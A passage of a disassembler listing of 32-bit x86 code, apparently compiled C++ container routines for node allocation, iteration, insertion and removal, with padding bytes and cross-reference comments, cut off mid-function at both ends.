		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421960	proc near		; CODE XREF: sub_4014D8j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_40204F
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401EBF
		mov	eax, esi
		pop	esi
		retn	4
sub_421960	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4219A0	proc near		; CODE XREF: sub_40196Fj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401EBF
		mov	eax, esi
		pop	esi
		retn	4
sub_4219A0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4219D0	proc near		; CODE XREF: sub_402167j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_40196F
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4018FC
sub_4219D0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A10	proc near		; CODE XREF: sub_401703j
		push	esi
		mov	esi, ecx
		call	sub_4019EC
		mov	eax, esi
		pop	esi
		retn
sub_421A10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A30	proc near		; CODE XREF: sub_40122Bj
		mov	eax, [ecx]
		push	eax
		call	sub_4010F5
		add	esp, 4
		retn
sub_421A30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A50	proc near		; CODE XREF: sub_40107Dj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40204F
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_421A50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A80	proc near		; CODE XREF: sub_401802j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401FFF
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_421A80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421AB0	proc near		; CODE XREF: sub_4016E0j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401212
sub_421AB0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421AF0	proc near		; CODE XREF: sub_401253j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4013ED
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40145B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40100F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_4021B7
sub_421AF0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B60	proc near		; CODE XREF: sub_40145Bj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_40110E
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401D75
		mov	eax, esi
		pop	esi
		retn	4
sub_421B60	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421BA0	proc near		; CODE XREF: sub_4013EDj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401D75
		mov	eax, esi
		pop	esi
		retn	4
sub_421BA0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421BD0	proc near		; CODE XREF: sub_401325j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4013ED
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401BAE
sub_421BD0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C10	proc near		; CODE XREF: sub_401B40j
		push	esi
		mov	esi, ecx
		call	sub_4011A9
		mov	eax, esi
		pop	esi
		retn
sub_421C10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C30	proc near		; CODE XREF: sub_401055j
		mov	eax, [ecx]
		push	eax
		call	sub_40108C
		add	esp, 4
		retn
sub_421C30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C50	proc near		; CODE XREF: sub_40182Aj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40110E
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_421C50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C80	proc near		; CODE XREF: sub_4012BCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401D48
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_421C80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421CB0	proc near		; CODE XREF: sub_4010E6j

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401ECE
		mov	edi, eax
		push	edi
		call	sub_401B1D
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_40139D
sub_421CB0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401B1D
		push	edi
		mov	[eax], ebx
		call	sub_401B1D
		mov	edi, [eax]
		push	edi
		call	sub_401B1D
		mov	ecx, [eax]
		push	ecx
		call	sub_4015D2
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401172
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401E3D
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_401D84
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421D50	proc near		; CODE XREF: sub_4018FCj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4010C8
		mov	edi, eax
		push	edi
		call	sub_401CF3
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401901
sub_421D50	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401CF3
		push	edi
		mov	[eax], ebx
		call	sub_401CF3
		mov	edi, [eax]
		push	edi
		call	sub_401CF3
		mov	ecx, [eax]
		push	ecx
		call	sub_40204F
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_4010F5
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4017E9
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_401EBF
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421DF0	proc near		; CODE XREF: sub_401997j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401802
		test	al, al
		jz	short loc_421E4A


loc_421E08:				; CODE XREF: sub_421DF0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4020B8
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401A1E
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401802
		test	al, al
		jnz	short loc_421E08
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_421E4A:				; CODE XREF: sub_421DF0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_421DF0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421E80	proc near		; CODE XREF: sub_401901j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	24h
		call	sub_401DF2
sub_421E80	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_421E95
		mov	edi, esi


loc_421E95:				; CODE XREF: ___:00421E91j
		push	esi
		call	sub_40204F
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_421EAA
		mov	edi, esi


loc_421EAA:				; CODE XREF: ___:00421EA6j
		push	esi
		call	sub_401CF3
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421ED0	proc near		; CODE XREF: sub_401947j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401546
sub_421ED0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421EF0	proc near		; CODE XREF: sub_40204Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_421EF0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421F10	proc near		; CODE XREF: sub_4010F5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_421F10	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421F30	proc near		; CODE XREF: sub_4019ECj
		mov	eax, ecx
		retn
sub_421F30	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421F50	proc near		; CODE XREF: sub_401EBFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401519
		mov	eax, esi
		pop	esi
		retn	4
sub_421F50	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421F80	proc near		; CODE XREF: sub_401FFFj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_421F80	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421FB0	proc near		; CODE XREF: sub_401BAEj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4018E8
		mov	edi, eax
		push	edi
		call	sub_4010EB
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401212
sub_421FB0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_4010EB
		push	edi
		mov	[eax], ebx
		call	sub_4010EB
		mov	edi, [eax]
		push	edi
		call	sub_4010EB
		mov	ecx, [eax]
		push	ecx
		call	sub_40110E
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_40108C
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4013DE
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_401D75
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422050	proc near		; CODE XREF: sub_40100Fj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_4012BC
		test	al, al
		jz	short loc_4220AA


loc_422068:				; CODE XREF: sub_422050+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4019AB
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401B7C
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_4012BC
		test	al, al
		jnz	short loc_422068
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4220AA:				; CODE XREF: sub_422050+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_422050	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4220E0	proc near		; CODE XREF: sub_401212j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	20h
		call	sub_4020BD
sub_4220E0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_4220F5
		mov	edi, esi


loc_4220F5:				; CODE XREF: ___:004220F1j
		push	esi
		call	sub_40110E
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_42210A
		mov	edi, esi


loc_42210A:				; CODE XREF: ___:00422106j
		push	esi
		call	sub_4010EB
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422130	proc near		; CODE XREF: sub_4021B7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4018E3
sub_422130	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422150	proc near		; CODE XREF: sub_40110Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_422150	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422170	proc near		; CODE XREF: sub_40108Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_422170	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422190	proc near		; CODE XREF: sub_4011A9j
		mov	eax, ecx
		retn
sub_422190	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4221B0	proc near		; CODE XREF: sub_401D75j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4018ED
		mov	eax, esi
		pop	esi
		retn	4
sub_4221B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4221E0	proc near		; CODE XREF: sub_401D48j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4221E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422210	proc near		; CODE XREF: sub_401E3Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401A2D
		add	esp, 8
		retn	8
sub_422210	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422240	proc near		; CODE XREF: sub_401A1Ej

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4020B8
		mov	ecx, eax
		call	sub_4010C8
		mov	esi, eax
		push	esi
		call	sub_40204F
		push	esi
		mov	ebx, eax
		call	sub_401CF3
		mov	ecx, [eax]
		push	ecx
		call	sub_40204F
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401CF3
		push	esi
		mov	ebx, eax
		call	sub_40204F
		mov	eax, [eax]
		push	eax
		call	sub_401CF3
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_4010F5
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401631
		push	esi
		mov	ecx, edi
		call	sub_401947
sub_422240	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422300	proc near		; CODE XREF: sub_401CF3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_422300	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422320	proc near		; CODE XREF: sub_401DF2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_422320	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422350	proc near		; CODE XREF: sub_401546j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_422350	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422370	proc near		; CODE XREF: sub_4017E9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40201D
		add	esp, 8
		retn	8
sub_422370	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4223A0	proc near		; CODE XREF: sub_401519j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4223A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4223C0	proc near		; CODE XREF: sub_4010C8j
		mov	eax, [ecx]
		retn
sub_4223C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4223E0	proc near		; CODE XREF: sub_4020B8j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40107D
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4223E0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422410	proc near		; CODE XREF: sub_401B7Cj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4019AB
		mov	ecx, eax
		call	sub_4018E8
		mov	esi, eax
		push	esi
		call	sub_40110E
		push	esi
		mov	ebx, eax
		call	sub_4010EB
		mov	ecx, [eax]
		push	ecx
		call	sub_40110E
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_4010EB
		push	esi
		mov	ebx, eax
		call	sub_40110E
		mov	eax, [eax]
		push	eax
		call	sub_4010EB
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_40108C
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401E60
		push	esi
		mov	ecx, edi
		call	sub_4021B7
sub_422410	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4224D0	proc near		; CODE XREF: sub_4010EBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4224D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4224F0	proc near		; CODE XREF: sub_4020BDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_4224F0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422520	proc near		; CODE XREF: sub_4018E3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_422520	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422540	proc near		; CODE XREF: sub_4013DEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401ED3
		add	esp, 8
		retn	8
sub_422540	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422570	proc near		; CODE XREF: sub_4018EDj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_422570	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422590	proc near		; CODE XREF: sub_4018E8j
		mov	eax, [ecx]
		retn
sub_422590	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4225B0	proc near		; CODE XREF: sub_4019ABj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40182A
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4225B0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4225E0	proc near		; CODE XREF: sub_401631j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401A78
		pop	ecx
		retn	4
sub_4225E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422600	proc near		; CODE XREF: sub_401E60j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401F9B
		pop	ecx
		retn	4
sub_422600	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422620	proc near		; CODE XREF: sub_401A2Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_42263B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_42263B:				; CODE XREF: sub_422620+11j
		retn
sub_422620	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422650	proc near		; CODE XREF: sub_40201Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_422650
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	19h
		call	sub_4011CC
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_422691
